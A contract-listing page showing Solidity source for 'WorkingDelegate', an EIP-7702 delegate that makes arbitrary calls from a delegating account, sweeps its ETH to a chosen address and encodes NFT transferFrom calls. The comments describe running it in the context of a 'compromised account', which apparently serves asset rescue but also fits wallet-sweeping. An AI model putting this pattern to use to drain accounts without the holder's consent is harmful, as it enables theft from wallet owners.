WorkingDelegate

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "WorkingDelegate.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.19;\r
\r
/**\r
 * @title WorkingDelegate\r
 * @notice EIP-7702 Delegate that works like your friend's bot\r
 * \r
 * @dev KEY INSIGHT:\r
 * - Uses onlyOwner checking msg.sender (the sponsor)\r
 * - Uses low-level call instead of typed interface\r
 * - Sweeps ETH after execution\r
 */\r
contract WorkingDelegate {\r
    address public immutable owner;\r
    \r
    event Executed(address target, bytes data, bool success);\r
    event ETHSwept(address to, uint256 amount);\r
    \r
    constructor(address _owner) {\r
        owner = _owner;\r
    }\r
    \r
    modifier onlyOwner() {\r
        require(msg.sender == owner, "only owner");\r
        _;\r
    }\r
    \r
    /**\r
     * @notice Execute arbitrary call + sweep ETH\r
     * @dev This is how your friend's bot works:\r
     * 1. Makes a low-level call to any contract\r
     * 2. Automatically sweeps remaining ETH balance\r
     * \r
     * With EIP-7702:\r
     * - msg.sender = sponsor (owner)\r
     * - address(this) = compromised account\r
     * - The call is made FROM the compromised account context\r
     */\r
    function executeCall(\r
        address target,\r
        bytes calldata data,\r
        address ethReceiver\r
    ) external onlyOwner {\r
        // Execute the call\r
        (bool success, ) = target.call(data);\r
        require(success, "call failed");\r
        \r
        emit Executed(target, data, success);\r
        \r
        // Sweep remaining ETH to specified address\r
        uint256 balance = address(this).balance;\r
        if (balance > 0 && ethReceiver != address(0)) {\r
            (bool sent, ) = ethReceiver.call{value: balance}("");\r
            require(sent, "ETH sweep failed");\r
            emit ETHSwept(ethReceiver, balance);\r
        }\r
    }\r
    \r
    /**\r
     * @notice Helper to encode transferFrom call\r
     * @dev Call this off-chain to generate the data parameter\r
     */\r
    function encodeTransferFrom(\r
        address from,\r
        address to,\r
        uint256 tokenId\r
    ) external pure returns (bytes memory) {\r
        return abi.encodeWithSignature(\r
            "transferFrom(address,address,uint256)",\r
            from,\r
            to,\r
            tokenId\r
        );\r
    }\r
    \r
    // Allow receiving ETH\r
    receive() external payable {}\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": true,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": [],
    "evmVersion": "cancun"
  }
}}

Tags:
Factory|addr:0x315a01df5bba551a0afcbb374da41e7704c2e42f|verified:true|block:23699490|tx:0xdf9993331cefe37afc68311ead322d1ee91e9f1a7436150047b1730d34be27a8|first_check:1761988546

Submitted on: 2025-11-01 10:15:46

Comments

Log in to comment.

No comments yet.